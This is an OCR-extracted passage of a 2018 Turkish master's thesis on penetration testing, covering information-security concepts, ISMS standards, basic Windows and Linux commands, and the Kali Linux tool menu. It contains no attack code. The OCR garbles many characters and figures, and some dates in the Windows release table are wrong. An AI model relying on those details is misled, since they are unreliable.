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TESEKKUR
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OZET

GUNCEL SIiBER SALDIRI YONTEMLERI, SIZMA TESTI ARACLARI VE
TEMSILi BIR KURUMSAL AG UZERINDE UYGULANMASI

SENTURK, Mustafa Yasir
Yiiksek Lisans, Elektronik ve Bilgisayar Miihendisligi Anabilim Dali
Tez Damgmani: Dr. Ogr. Uyesi Hakan Ezgi KIZILOZ
Eyliil 2018, 140 Sayfa

Bilgi glivenligi i¢inde bulundugumuz bilgi ¢aginin en énemli konularindan biri
konumundadir. Bilginin dolar, altin gibi bir deger olarak kabul edildigi bu donemde
bilgiyi korumak bireylerin, kurumlarin ve hatta devletlerin baslica sorumluluklarindan
biridir. Bilgi gilivenliginin saglanmasi kapsaminda gerceklestirilen sizma testleri
diizenli olarak her kamu kurumunun uygulamas: gereken bir iglemdir. Ancak
iilkemizde bu konuda yetismis eleman ve dokiiman eksikligi bulunmaktadir. Bu
calismada siber giivenlik saldirilar1 ve sizma testi adimlar1 detayli bir sekilde
incelenmistir. Calisma genel olarak; bilgi giivenligi, bilgi giivenligi yonetim
sistemleri, igletim sistemleri ve sizma testlerinde kullanilan araglar1 konuya 6zel 6rnek
uygulamalarla agiklamaktadir. Calismanin sonucunda ortaya c¢ikacak dokiiman;
kurumlarin bilisim sistemleri, bilgi giivenligi c¢alisanlar1 ve Ogrenmeye istekli

Ogrenciler icin giincel bir rehber niteligi tasimaktadir.

Anahtar Kelimeler: Siber, Siber Giivenlik, Farkindalik, Sizma Testi, Bilgi Giivenligi
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ABSTRACT

IMPLEMENTATION OF CURRENT CYBER ATTACK METHODS,
PENETRATION TESTING TOOLS IN AN EXEMPLARY ENTERPRISE
NETWORK

SENTURK, Mustafa Yasir
Master, Department of Electrical and Computer Engineering
Thesis Supervisor: Dr. Hakan Ezgi KIZILOZ
September 2018, 140 pages

The security of information is one of the most important issues in the information
age which is we are in. Protecting the information is one of the main responsibilities
of individuals, institutions and even governments in this era when information is
regarded as a dollar or gold value. Penetration tests conducted within the scope of
ensuring information security are an application which should be applied by every
public institution on a regular basis. However, Turkey suffers from the lack of trained
staff and documentation. In this study, the steps of the cybersecurity attacks and
penetration testing were examined in detail. The study mainly explains the tools used
in information security, information security management systems, operating systems
and penetration testing with specific sample applications. The resulting document will
be an up-to-date guide for the information systems of the institutions, information

security professionals, and students who are willing to learn.

Keywords: Cyber, Cyber Security, Awareness, Penetration Test, Information Security
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BIiRINCi BOLUM
GIRIS

Glniimiizde bilgisayar sistemlerine yapilan saldirilar siklik ve karmasiklik
olarak giinden giine artig egilimi gostermektedir. Kurum ve kuruluslara yapilan siber
saldirilarin sebep oldugu maddi zararlar, sayginlik kayiplar1 ve bilgilerin ¢alinmasi giin
gectikce artmaktadir. Gerek sistemlerin gerekse sistem yoneticilerinin bu saldirilara
kars1 dnceden onlem almasi hayati 6nem arz etmektedir. Siber saldirilarin mimarlari
olan saldirganlarin (“hacker”) ilk zamanlarda dikkat ¢ekme, kendini ispatlama amagli
yaptigi saldirilar, giniimiiz diinyasinda para kazanma, bilgi ifsasi, santaj, vs. olaylarla
bir endiistri haline doniismiistiir.

2005 yilinda CERT/CC istatistiklerinde rapor edildigi gibi, 2000 yilindan beri
var olan saldir1 ¢esidi 6 kat artarak 2005°de 4000’e kadar ulasmais; yaklasik 150000

saldir1 olay1 saptanmistir [1].

x> 10
14 : : : :

12

______________________________________________________________________

10

[a:]

Saldin Sayisi

. i -

a
1988 1990 1992 1994 1996 1993 2000 2002 2004

Sekil 1.1: 1988-2003 arasinda bilgisayar sistemlerine rapor edilen saldirilarin sayisi [1].
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Sekil 1.2: 2004 6ncesi ve 2015-2017 yillar1 arasinda bilgisayar sistemlerine rapor edilen saldirilarin
sayisi [2].

Saldirganlarin sistemler iizerinde sahip oldugu teknik bilgi seviyesi glinimiizde

kaynaklara erisim kolayligindan dolay1 artmaktadir.

Oto keordineli saldin
Yiiksek capraz site betikleme Araglar

gizlenme / ileri tarama
teknikleri

. ‘Sahnelemis
paket kandinma hizmet aksatma saldin
Saldirgan -
Bilgi Seviyesi koklayicilar dagitik saldin
- araglan
cop Kynstirm www saldinlan
otomatik yoklama/tarama
arka kapilar

aij yonetimi sistem kontrolii (diagnostics)

hesap incelmeleri {audit)
s |
etkisiz kilmak

Saldin
Karmagikhin

zhklann %

parola kirma

kendi kendini kopyalayan kod
Saldinlar

parola tahmini

Disiik

1930 1985 1990 1995 2000

Sekil 1.3: Saldir1 karmagsikligi ile saldirgan teknik bilgisi [3].

Top 10 Attack Techniques
2015vs 2014
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Sekil 1.4: 2014 ve 2015 saldir1 vektorlerinin oranlart [4].



Siber saldirilarin giderek arttigi giiniimiizde siyah sapkali (yasa dis1) siber
korsanlarin kurum veya kuruluslara karsi yapabilecegi saldirilar1 daha 6nceden
gormek adma beyaz sapkali (etik) siber saldirgan ekipleri olusturulmustur. Beyaz
sapkalt siber saldirganlar olarak adlandirilan kisiler gizlilik anlagsmasiyla birlikte
kurum ve kuruluslarin sistem agikliklarini Kontrollii bir sekilde somiiriir. Somiirii
sonrasinda sistem yoneticileri basta olmak tizere st yap1 yoneticilerini bilgilendirip
siyah sapkali saldirganlara karsi alinabilecek sistemsel Onlemlerin uygulanmasini

tavsiye eder. Bu tavsiyeler kurum ve kuruluslar i¢in biiyiik 6nem arz etmektedir.



IKINCi BOLUM

TEMEL BiLGILER

Sizma testleriyle siber gilivenlik Onlemleri alma eylemi, saldirganlarin
yapabilecegi saldirilarin etkisini en aza indirgemek i¢in uzun zamandir yapilmaktadir.
Bilginin biitiinliigiinii korumak, yetkisiz kisilerin erisimini engellemek ve yetkili
kisilerin de her zaman erigebilirligini saglamak; bilgi glivenliginin olmazsa olmaz 3
adimmi olusturmaktadir. Bu caligmanin amaci onceki calismalarda giincelligini
yitirmis olan saldir1 vektorlerinin ve saldir1 araglarinin en giincel hal ile anlatilmasidir.
Veri, bilgi, 6zbilgi ve bilgelik kavramlarinin siber giivenlik agisindan tanimlarinin
yapilmasiyla baslayan bu boliimde; bilgi glivenligi yonetim sisteminin ne oldugundan
ve isletim sistemleriyle isletim sistemlerinde kullanilan temel komutlardan
bahsedilmistir. Saldir1 bilgisayar1 olarak kullanilan “Kali Linux Isletim Sistemi”
hakkinda bilgiler verilmis ve saldirt araglart incelenmistir. Bilgi gilivenliginin
saglanmasi i¢in; farkindalik seviyesinin yiikseltilmesi, bilgisayar sistemlerinin diizenli

olarak denetlenmesi, izlenmesi ve sizma testlerine tabi tutulmasi gerekmektedir.
2.1 Veri, Bilgi, Ozbilgi, Bilgelik Kavramlar

Veri (Data), bilisim teknolojisi agisindan kisaca sinyal/bit olarak tanimlanabilir.
Veri kavramimi tek basina herhangi bir anlam ifade etmemis, heniiz bir bilgi
olusturamamis her sey olarak nitelendirebiliriz.

Bilgi (Information), verinin belli bir anlam ifade edecek sekilde diizenlenmis
halidir. Kisacas: verilerin islenmesiyle bilgi ortaya ¢ikar. Ornek olarak “A” verisini

“L” veristyle iliskilendirip isledigimizde “AL” kelimesi ¢ikar. Veya “1” verisini



“Elektrik devresinde devrede akim var m1?” sorusuna verilmis bir cevap olarak
alirsak, veri iligkisinden devrede akimin var oldugu bilgisine sahip oluruz.

Ozbilgi (knowledge), bir seyin ne oldugunu (know-what), ni¢in oldugunu
(know-why), nasil oldugunu (know-how) ve kim oldugunu (know-who) bilmek
seklinde dort smiftan olusur. Ne oldugunu bilmek, gerceklerin toplamidir ve bilgiye
en yakin olan siiftir. Nigin oldugunu bilmek, teknolojik gelismenin altinda yatan ilke
ve yasalarin agiklandigi bilimsel 6zbilgidir [5].

Bilgelik (wisdom), tasavvur, ileri goriis ve ufkun Gtesini gorme yetisi ile en ileri
seviyede soyutlama ve bir kisinin 6zel bir is sahasindaki meslek hayat1 boyunca elde

edilmis deneyimin 6ziidiir [6].
2.2 Bilgi Giivenligi Kavram

Bilgi giivenligi, sanal ve ger¢ek ortamlarda bilgilerin saklanirken, tasinirken
veya erigim yapilirken mevcut biitiinliigiiniin bozulmadan, yetki dis1 erisimlere izin
verilmeden ve her zaman igin yetki sahibi Kkisiler tarafindan erisilebilmesinin

saglanmasi i¢in yapilan tiim ¢alismalardir.
2.3 Bilgi Giivenligi Tarihcesi

Sifreleme tarihinin en eski ornegi M.O. 200 yillarinda Misirhilar tarafinda
yazildigr tahmin edilen “Rosetta” tabletidir. 1798 yilinda Misir’in Resit sehri
yakinlarinda Napolyon’un askerleri tarafindan bulunmustur. Tablet {i¢ boliimden
olusmaktadir. Ug¢ bolim aym konuyu farkli dillerle anlatmaktadir. Ust bolim
hiyeroglif, orta boliim halkin kullandig dil ve alt b6liim Yunanca yazilmistir. Rosetta
tableti hiyeroglif yazisinin esrarini ¢ézen tas olarak tarihe gegmistir [7].

Sifreleme tarihinin en 6nemli belgelerinden biri “Zimmermann Telgrafi” dir. 16
Ocak 1917 yilinda 1. Diinya Savasi sirasinda Alman dis isleri sekreteri Zimmermann
tarafindan Meksika’daki Alman Elgiligine gonderilmistir. Ardindan Ingilizler
tarafindan ele gegirilerek ¢oziilmiistiir [8].

Ulkemizde sifreleme ile ilgili pek fazla kayit bulunmamaktadir. Ozellikle 1.
Diinya Savasi, Kurtulus Savasi, Kibris Baris Harekati’nda gizli haberlesmeye yonelik

uygulamalarin oldugu bilinmektedir. Osmanli zamaninda kullanilan Siiyakat yazisi



kriptolu haberlesmeye bir 6rnektir. Maliye ve devlet islerinde de kullanilan bu yazi
sayesinde mahremiyet ve bilgi giivenligi saglanmaya ¢alisiimistir [9].

Diinyada ise 1990’1 yillarin ortalarina dogru Ingiltere’de bazi sanayi
kuruluslarinin talepleri ve Ingiliz Standartlar Enstitiisii’'niin (BSI) girisimleri ile
temelleri atilan Bilgi Gilivenligi Standartlar1 BS7799 altinda ortaya ¢ikmis, 1995
yilinda BS7799 olarak yayinlanan standart daha sonra iki kisma ayrilarak BS7799-
2:1998 ve BS7799-1:1999 olarak yayinlanmistir.

Uluslararas1 Standartlar Komitesi (ISO) ise Bilgi Giivenligi ile ilgili standardin
birinci boliimiinii 2000 yilinda ISO 17799 olarak yaymlamstir.

“Bilgi Giivenligi Yonetimi I¢in Uygulama Prensipleri”ni iceren standardin son
gozden gegirmeleri 2004 Ekim’de tamamlanmistir. Yeni siirim ise 2005 yilinda
yayinlanmistir.

Bu standardin kokleri, Ingiltere’deki DTI ve CCSC dénemlerine kadar uzanr.
1987 Mayis aymda kurulan CCSC’nin iki islevi vardi: Birincisi, diinya ¢apinda
benimsemis bir giivenlik yiikseltme programi saglayarak ve bir sertifika gerekliligi
sunarak giivenlik iiriinii saticilarina yardim etmekti. ikinci islevi ise kullanicilara iyi
bir giivenlik sifresi saglamakti ki bu “Kullanicinin Calisma Sifresi’nin yayimlanmasi
ile sonuglandi. Bu yayin daha sonra NCC (National Computing Centre) tarafindan
gelistirildi ve ardindan ¢ogu Ingiliz endiistrisinden gelen bir grup kullanici bu kodlari
anlam ve kullanim kolayligi bakimindan test etti. Sonuglar Ingiliz Standartlar:
kilavuzunda yayinlandi. Standardin son siiriimii ISO 27001:2013 ad1 altinda halen
yiirtirliiktedir.

2.4 Bilgi Giivenligi ve Yonetimi

Gliniimiizde neredeyse tiim verilerimiz elektronik ortamda muhafaza edilmekte
ve kullanilmaktadir. Kisisel ve kurumsal temel iletisim, ticaret, idari isler vb.
faaliyetler bilisim sektorii {izerinden gergeklestirilmektedir. Kisisel olarak
kullandigimiz sosyal medya, e-devlet, e-okul gibi uygulamalarin yani sira kurumsal
temel merkezi ¢alisma sekli bilisimin gelismesi ile daginik ve aglar tizerinden yiiriiyen
bir hal almistir. Yani en degerli hazine olan bilgi, sanal ortam iizerinde akis
gostermektedir. Bu isleyiste kotli amach faaliyetler ve saldirilar olmasi kaginilmazdir.
Bu saldirilara kars1i alman teknik Onlemler yeterince giiclii olsa bile saldir

faaliyetlerinin artmasi bu 6nlemleri yetersiz kilmaktadir. Coziim olarak ceza, kanun



gibi idari 6nlemler; ISO27001, Ortak Kriterler gibi standartlar olusturulmustur. Teknik
ve idari ¢odziim siirecinin birlikte isleyisi ile bilgi giivenligi yOnetim siireci
olusmaktadir.

Bilgi giivenligi yonetim siireci ii¢ temel prensip lizerine kurulmustur. Bunlar;
gizlilik, bitiinliik ve erisilebilirliktir. Bizler de bu ii¢ unsuru temel prensiplerimiz

edinerek bilgi giivenligini saglamakla yiikiimliiytizdiir.

2.4.1 Bilgi Giivenligi Yonetim Sistemi

Bilgi gilivenligini planlamak, saglamak, siireci takip etmek gibi faaliyetler igin,
risk yaklagimina dayali yonetim sistemi BGYS (Bilgi Giivenligi Yonetim Sistemi)
olarak tanimlanmaktadir [10].

BGYS; bilgi sistemlerinin korunabilmesi, risklerin minimum diizeye indirilmesi
ve devamliligin saglanmasi i¢in hayata gecirilmistir. Yapilabilecek calismalar ve
alinabilecek Oonlemlere ornekler verirsek;

1. Riskler ve tehditlerin tespit edilmesi,

Giivenlik politikalarinin olusturulmasi,

Farkindalik egitimlerinin verilmesi,

Giivenlik duvarlari politikalarinin olusturulmasi ve kullanilmas,
Antiviriis ve anticasus yazilimlarinin kullanilmast,

Atak tespit sistemlerinin kullanilmasi,

Sifreleme islemlerinin yonetilmesi ve kullanilmast,

O N o g B~ D

Denetim ve uygulamalarin kontrol edilmesi ve ¢6ziim yontemlerinin
gelistirilmesi
seklinde devam ettirebiliriz.

BGYS’nin kurumlara saglayacagi faydalari ana hatlariyla soyle siralayabiliriz;

a) Bilgi varliklarini ihtiyaca en uygun sekilde koruma altina almak,

b) Bilgi varliklarina yonelik tehditlere karsi is siirekliliginin saglamak,

c) Tehdit ve riskleri belirleyerek etkin bir risk yonetimi saglamak,

d) Kurumsal sayginligi korumak,

e) Uluslararasi temsillerde kurumsal bilgi giivenligine verilen dnemin kolayca
anlagilmasini saglamak,

f) Bilgi kaynaklarina erisimi denetlemek,



g) Ugiincii taraflarla yapilan calisma ortamindan kaynaklanacak riskleri
tanimlamak,

h) Kurumun risk bilincine katkida bulunmak,

i) Personelin, yiiklenicilerin ve alt yiiklenicilerin giivenlik konusunda biling
diizeyinin yiikseltilmesi ve 6nemli giivenlik konularinda bilgilendirilmesin
saglamak,

J) Otomatik ve elle yonetilen sistemlerde, duyarl bilgilerin uygun bir sekilde
kullanildiginin garanti altina alinmas1 amaciyla gercekei bir kontrol sistemi
kurmak,

k) Bilgi varliklarinin gizliligini, biitiinliigiinii ve dogrulugunu saglamak,

I) Calisanlarin, miisterilerin ve yiiklenicilerin gorevlerini yerine getirirken,
bilgi sistemleri kaynaklarin1 kotii amagli olarak kullanmalarini ve/veya
kaynaklart suistimal etmelerini engellemek,

m) Personelin, baskalar: tarafindan yapilabilecek olan suistimal ve tacizlere
kars1 zan altinda kalmasini engellemek,

n) Yasalara, diizenlemelere, sdzlesme sartlarina uyma zorunlulugu getirmek,

0) Kuruma rekabet avantaji saglamak,

p) Kurum imajina olumlu etki etmek,

q) Bilgi sistemlerini kullanan kigilerin, umursamazligindan, planlanmis taciz,
bilingsiz kullanim veya bilmeden yanliglikla suistimal etme gibi
nedenlerden olusabilecek; donanim, yazilim ya da bilgisayar aglarinda
meydana gelebilecek arizalarin tekrar etmemesi igin iyilestirme siirecine
katkida bulunmak olarak siralanabilir [11].

Tiirkiye’de bilgi giivenligi standartlariyla ilgili ¢alismalar ve belgelendirmeler

TSE (Tirk Standartlar1 Enstitiisii) tarafindan yapilmaktadir. TS ISO/IEC 27001:2006

standard1 kullanilmakta ve tiim kurulus tiirlerini kapsamaktadir [12].
2.5 Sunucular ve Isletim Sistemleri
2.5.1 Windows Sunucu ve Isletim Sistemleri

Windows Isletim Sistemleri ve Sunuculari siiriim kodlariyla birlikte tabloda

verilmistir. Microsoft sirket politikasi geregince bugiin itibariyle Windows 7 / Server



2008 ve st siiriimlere giincelleme hizmeti vermektedir [13]. Tablo 2.1°’de Windows

isletim sisteminin ¢ikis zamanlariyla siirtimleri gosterilmistir [14].

Tablo 2.1: Microsoft isletim sistemi slirim numaralar1 ve piyasaya ¢ikma tarihleri.

Isletim Sistemi Siiriim Numarasi1 (NT) Piyasaya Cikis
Yihi
Windows Server 2016 10.0* 2016
Windows 10 10.0* 2014
Windows 8.1 6.3* 2012
Windows 8 6.2 2012
Windows Server 2012 6.2 2012
Windows 7 6.1 2009
Windows Server 2008 R2 6.1 2011
Windows Vista 6.0 2007
Windows Server 2003 5.2 2003
Windows XP 5.1 2001
Windows 2000 5.0 2000

2.5.1.1 Windows temel sistem komutlari

Windows sistem komutlar1 “galistir (Windows+R)“, “cmd.exe” ya da
“powershell.exe” tarafindan yiiriitiilen, isletim sistemi iizerinde islem yapmaya ve

bilgi toplamaya yarayan kii¢iik betiklerdir.

(B

Bir program, klasdr, belge veya Internet kaynaginin
adini yazdiginizda Windows sizin icin acacaktr.

't Corporation. All rights reserved,

Ag

Iptal Gpzat...

Sekil 2.1: Calistir, Cmd.exe ve Powershell ekran goriintiileri.

Baslica 6rnekleri:
systeminfo: “cmd.exe” iizerinde ‘“systeminfo” komutuyla bilgisayar hakkinda
detayli bilgileri 6grenilir. Windows siirlimiinii, yiiklenmis giincellestirmeleri, ana

kartin marka-modelini, sistem dilini, saat dilimini, sistemin kurulus tarihini, sistemin



ilk ac1lis tarihini, ag kartlarinin durumlarini, sanallagtirmanin sisteminin, SLT ve DEP
gibi teknolojilerin aktif olup olmadigini 6grenilir.

ver: Isletim sistemi siiriim bilgisini veren komuttur.

net view: Ag tizerindeki kaynaklari goriintiilemekte kullanilan ve belirli bir
sunucu lzerindeki paylasilan kaynaklar1 (yazi, klasér vb.) goriintilemek igin
kullanilan komuttur.

dir: Bulunulan dizinin veya hedeflenen dizinin igerigini ekranda listeleyebilmek
i¢in kullanilan komuttur.

net user: Bilgisayarin yerel kullanicilarini goriintiilemeye yarayan komuttur.
Parametreleriyle birlikte kullanici ekleme, silme, parola degistirme vb. gibi islemler
yapilabilir.

netsh: “TCP/IP” ayarlarini, yani “IP Adresi”, “Subnet Mask”, “Default
Gateway”, “DNS” ve “WINS” adresleri gibi daha birgok yapilandirma
bilgisini goriintiileme ve bu bilgilerde degisiklik yapabilme imkani saglayan bir
komuttur.

Ornek kullanim sekli;

Netsh ile TCP/IP ayarlarinizi goriintiilemek i¢in;

Komut satirindan “netsh interface ip show config” yazilir.

Netsh ile TCP/IP ayarlariniz1 degistirmek igin;

“netsh interface ip set address name="Local Area Connection" static
192.168.1.1 255.255.255.0 192.168.1.100 1 (192.168.1.1 IP adresi, 255.255.255.0
subnet mask, 192.168.1.100 Default Gateway)” 6rnegi yazilabilir.

get-service: Tiim servislerin durumunu gésteren komuttur.

copy: Bulundugunuz ya da belirttiginiz konumdaki dosya ya da dizinleri
belirttiginiz diger bir konuma, ayni ya da farkli isimle dosyay:1 kaydetmeyi saglayan
komuttur.

type: Bir dosyanin igerigini (igerisinde bulunan yazilari) gérmemize yarayan
komuttur.

cd: Dizinler arasinda gegis yapmaya yarayan komuttur.

net share: Paylasilan dosyalar1 listelemek veya dosyalari paylasima agip
kapatmak i¢in kullanilan komuttur.

query session: Yonetim, diigiim ve sunucu oturumlari hakkinda bilgi

goriintiilemek i¢in kullanilan bir komuttur.
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ipconfig: Bilgisayarin ag baglanti &zelliklerini gdsteren komuttur. Ilgili
parametrelerle DHCP’den yeni IP alma, DNS bellegini temizleme vs. gibi ag
yapilandirmasi yapabilen komuttur.

shutdown: Bilgisayar1 kapatmak, yeniden baslatmak, hazirda bekletmek veya
belirtilen zamanda kapatmak gibi gorevleri yerine getiren komuttur.

psinfo: Yiikleme tiirii, cekirdek yapisi, kayith kurulus ve sahibi, islemci sayisi
ve tiirti, fiziksel bellek miktar1 olmak iizere yerel veya uzak Windows NT / 2000
sistemi hakkinda temel bilgileri toplayan bir komuttur.

net use: Bilgisayarda bulunan haritalarin listesini gormek ve ag iizerindeki
herhangi bir kaynaga erismek i¢in kullanilan komuttur.

reg query: Kayit defterinde ilgili parametlerle sorgu yapan komuttur.

Omek kullanim igin komut satirina “reg query -?” yazarak parametreler
gorintiilenir.

net time: Domain iizerindeki bir bilgisayarda manuel saat senkronizasyonu
yapmak i¢in kullanilan komuttur.

netstat: Gelen ve giden ag trafiginin, yonlendirme tablolari ve ag arayiizi
istatistiklerini gésteren komuttur.

Yukarida yazilanlar Windows i¢in temel kodlardan bazilaridir. Konuyla ilgili

¢ok sayida komuta ulasabilecek yerler kaynakg¢ada yer almaktadir [15].
2.5.2 Temel Linux Sunucu ve isletim Sistemleri

Linux isletim sistemlerinde ¢ok fazla sayida dagitim bulunmaktadir. Bu béliimde
en bilinen ve en kararli olarak nitelendirilen Linux dagitimlari agiklanmaktadir [16].

Arch Linux: Kolay kurulan ve kullanim1 basit olan bir dagitimdir. Sadelik 6n
plandadir. Kullanict sayis1 ¢ok fazla olan bu dagitim, paket ve giincellestirmeleri ile
ilerlemis durumdadir. Baslangig¢ seviyesi kullanicilara hitap eder.

CentOS: Red Hat Enterprise Linux (RHEL) kaynak kodlar: iizerine kurulu bir
dagitimdir. Bagimsiz bir grup tarafindan gelistirilmektedir. The Community
Enterprise Operating System olarak agilimi olan dagitim ev ve is kullanicilarinin tercih
ettigi acik kaynak isletim sistemidir.

Debian: Linux’un ilk isletim sistemlerinden biridir. Ubuntu ve Linux Mint gibi

dagitimlar Debian tabanlidir. 2002’den beri ilk 10 Linux dagitimi igerisinde bulunan
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tek acik kaynak isletim sistemidir. Profesyonel Linux kullanicilar ve biiyiik isletmeler
tarafindan tercih edilmektedir.

Fedora: Yeniliklere adaptasyon siireci olduk¢a hizli olan bir dagitimdir.
Kurulumu kolaydir ve GNOME masaiistiine sahiptir. Red Hat’in uzantisi
konumundadir. Zamana kendini ¢ok hizli giincelleyen bir dagitim olarak 6ne ¢ikar.
Linux kariyeri yapmak isteyenlerin ilk aklina gelen dagitim olan Debian gibi, Fedora
ve CentOS’da iyi bir tercih olarak bilinir.

Knoppix: Takilabilir ¢ikartilabilir cihazlar (CD, flash bellek vs.) iizerinde
stirdiiriilebilen dagitimlarda ilk akla gelenlerdendir.

Mandrake / Mandreva: Mandriva Linux, 1998 Temmuz’unda ilk siiriimii ¢ikan,
Gaél Duval tarafindan Modem ve yazicilar ile uyumluluk konusunda basarisi ile tercih
sebebi olan bir dagitimdir.

OpenSUSE: 2006 yilinda SUSE dagitiminin gelistirilmesi ile olusan dagitimdir.
Stabilite ve giiclii bir destege sahiptir.

Red Hat Linux: Genellikle biiyiik isletmeler tarafindan kullanilan ticari bir
dagitimdir.

SUSE: Ticari bir dagitimdir.1999°da IBM, SAP ve Oracle ile ortaklik kurulmus,
2003 yilinda Novell tarafindan satin alinmistir.

Ubuntu: Donanim destekleme ve uyumlulugu, yeniliklere ayak uydurmasi ve

modern ve kullanigh masaiistii ile tercih edilen bir dagitimdir.

2.5.2.1 Temel Linux sistem komutlari

Dizin Listeleme: Is
Yardim alma: man,--help

Dosya olusturma ve diizenleme: touch, nano, vi

Dizin olusturma: mkdir, mkdir -p
Silme: rm, rm —rf, rmdir
Dizinde dolasma: cd,cd.,cd..,cd, -pwd
Kopyalama: cp, cp -r

Tasima ve Isim degistirme: mv

Dosya okuma: cat,less,head,tail
Ekrana yazdirma: echo

Cikt1 yonlendirme: > >>

Girdi yonlendirme: <
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Dosya igerisinde kelime arama: — grep, grep -ivr

Isletim sisteminde arama: find,-name,-type,-max-depth,locate
Ag ayarlar1: ifconfig,dhclient

Stiregleri goriintiileme: ps,ps aux

Bir siireci sonlandirma: kill

Servisi baslatma ve durdurma:  service ssh start,service ssh stop,service ssh

restart

2.5.2.2 Kali Linux hakkinda genel bilgi

Kali Linux, diinya ¢apinda bilgi giivenligi egitimi ve sizma test hizmetleri
saglayicist olan Offensive Security [17] tarafindan saglanan ve finanse edilen agik
kaynakl1 bir projedir [18]. Debian sistem tabanli 6zellestirilmis bir isletim sistemidir.
Birgok saldir1 araciyla birlikte sunulan isletim sistemi ayn1 zamanda izleme ve analiz

araglarin1 da i¢inde barindirmaktadir.

2.5.2.3 Kali Linux araglar meniisii

Kali Linux ozellestirilmis bir isletim sistemi oldugunu meniideki araclardan da
anlasilmaktadir. Birgok aracin hazir olarak bulundugu bu isletim sistemine Linux

komutlar1 kullanilarak her tiirlii ihtiyaciniz1 da giderilebilir.

Favorites Firefox ESR
01 - Information Gathering
Terminal
02 - Vulnerability Analysis
03 - Web Ap ion Analysis Files
TUS BEEIEE metasploit ...

armitage

07 - Reverse Engineering burpsuite
08 - Exploitation Tools

beef xss fr...
09 - Sniffing Spoofing

10 - Post Exp faraday IDE

11 - Forensics Leafpad

12 - Reporting Tools
Tweak Tool
13 - Social Engineering Tools
/stemn Services Opera

Usual applications WLC media

Activities Overview

Sekil 2.2: Kali Linux meniileri.
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UCUNCU BOLUM

LITERATUR OZETi

Bu béliimde sizma testleriyle ilgili daha once yapilan ¢alismalar arastirilmis ve
bu testlerde kullanilmis olan saldir1 vektorleri ile saldirt araglari incelenmistir. Eski
yontem saldir1 vektorlerinin ve saldiri araglarinin evrimlesmis ya da sifirdan
olusturulmus hallerinin anlatildig1 bu boliim, glinlimiiz saldirilarinin karmasikligini ve
biytkliginii de gozler oniine sermektedir. Literatiir taramalarinda diinyanin
kargilasmis oldugu siber saldirilarin ve bu saldirilara sebep olan yazilimlarin
etkilerinden bahsedilmis, yazilimlarin islevlerine gore aldigi isimlere deginilmistir.
Yabanci kaynaklarin ¢ok sayida fakat yerli kaynak sayisinin ¢ok az oldugu literatiir
taramasi sirasinda gézlemlenmistir. Sizma testlerinin birbirinden farkli platformlar
tizerinde de yapildigini anlatan bu boliimde, incelenen kaynaklarda sizma testlerinin
ne derece O6nemli oldugundan, kurum ve kuruluslarda diizenli olarak yapilmasi
gerektiginden bahsedilmistir. Diizenli sizma testlerinin yapilmasi dogrultusunda
alinacak 6nlemler sonrasinda muhtemel saldirilarin 6nlenmesi noktasindaki basarilar

anlatilmistir.
3.1 Sizma Testleri ile Tlgili Yapilan Cahismalar

Yapilan literatiir taramasinda ilk gelismis siber saldirinin, Morris solucani olarak
kabul edildigi ve diinyadaki yeni gelisen siber altyapiyr etkilemis ilk taninan
solucanlardan biri oldugu kabul edilmistir. ABD'de biiyiik 6l¢iide bilgisayarlara
yayilmistir. Solucan, UNIX sistemi Noun 1'deki zayifliklar1 kullanmis ve diizenli
olarak kendini ¢cogaltarak yayilmaya devam etmistir. Bilgisayarlarin kullanilamayacak

kadar yavaslamasina sebep olan zararli bir yazilim olarak bilinmektedir [19].
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Sizma testleriyle ilgili olarak Tiirk¢e kaynak ¢ok azdir. Fakat diger iilkeler bu
konuya fazla 6nem vermis ve gerek akademik yayinlarla gerekse deney ortami olarak
cesitli seviyelerde bir¢ok sayida kitap yaymlamislardir. Literatiir taramasi yapilirken
yabanci dil kaynaklarda erisimin herkese agik oldugunun goriilmesi giiniimiiz
diinyasinda bu alana merak salmis kisilerin az cabalarla bile siber saldirgan olarak
kolaylikla hareket edebilecegini gostermektedir.

Ulkemizde siber giivenlik adina resmi ¢alismalar yapilmis olup strateji eylem
planlar1 yaymlanmistir. Eylem planlar1 igerisinde farkindalik egitimleri, kamu
kurumlarmin bilgi sistemlerinin nasil bir yapida ¢aligmasi gerektigi, bilgi giivenligi
yonetiminin olmasi gereken hallerinden ve daha birgok bilisim konusu ele alinmis ve
kurumlara dagitilmistir. Resmi Gazete’de bilisim giivenligi tanimi asagidaki gibi
yapilmistir.

Bilisim giivenligi, dijital ortamda depolanan bilgilerin tiglincii sahislar tarafindan
ele gegirilmesini 6nlemek, bilgi transferi sirasinda bilginin biitiinliigiiniin ve yapisinin
bozulmadan aktarilmasini saglamak, sistemlere yetkisiz kisilerin erismesini
engellemek, sistemin siirekli olarak erisilebilir olmasini saglamak igin verilmesi
gereken ugraslarin tiimidiir (Resmi Gazete, 2013). 20 Haziran 2013 tarith ve
28683tarih ve 28683 sayili Resmi Gazete’de yayimlanarak ytiriirliige giren “Ulusal
Siber Glivenlik Calismalarinin Yiiriitiilmesi, Y6netilmesi ve Koordinasyonuna iligkin
Karar” dogrultusunda bilisim gilivenligi tanimi1 yapilmustir.

Bazi kaynaklar sizma testleri yapilirken takip edilmesi gereken metodolojilerden
bahsetmistir. Bu kaynakta takip edilmesi gerekilen adimlarin bilgi toplamak, kesif
yapmak, zafiyetleri bulmak, zafiyetleri istismar etmek ve sistemi ele gecirmek oldugu
sOylenmistir. Bu agsamalar sizma testlerinin yasam dongiisiinii olusturur [20].

Farkli bir bakis agis1 olarak iilkenin dijital doniisiimde nerede oldugundan
bahseden kaynak, iilke giivenligi denildiginde, ¢esitli dijital konulardan olan, ses
isleme, video izleme, goriintii algilama, cografi konum belirleme ve siber saldiri
tespitlerinden bahsetmistir. Ses isleme ve video gozetimi 6nemli kamu giivenligi ve
kara smir bolgesi alanlaridir. Ancak, tlilke giivenligi icin en biiylik tehdit siber
saldiridir. Siber teror saldirilart ve siber sug¢ saldirilari sanal aglar lizerinde hareket
edebilir ve hemen hemen her sisteme giris yapabilir. Teknolojinin sonundaki siber
saldir1 tespit stratejileri tamitilmistir. Siber saldir1 tespit stratejilerin tanitildigi ve

tartisildig1 bu kaynakta siber saldir1 stratejileri arasinda karsilastirmalar ve analizleri
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yapilmistir. Geleneksel siber saldirilarin tespit semalarinin siber saldirganlarin gegici
ve kismi olarak dnlenebilecegi, geleneksel tespit programlarinin eksikligini gidermek
igin gergek saldirilara ve gergek zamanl ve kisa vadeli yanitlar i¢in yeni planlamalar
onermektedir [21].

Cogu yabanci kaynakta bahsedilen diger bir konu ise sizma testlerinin beyaz
sapka olarak yapilmasinin 6neminin ne oldugudur. Si1zma testi, sistemleri daha giivenli
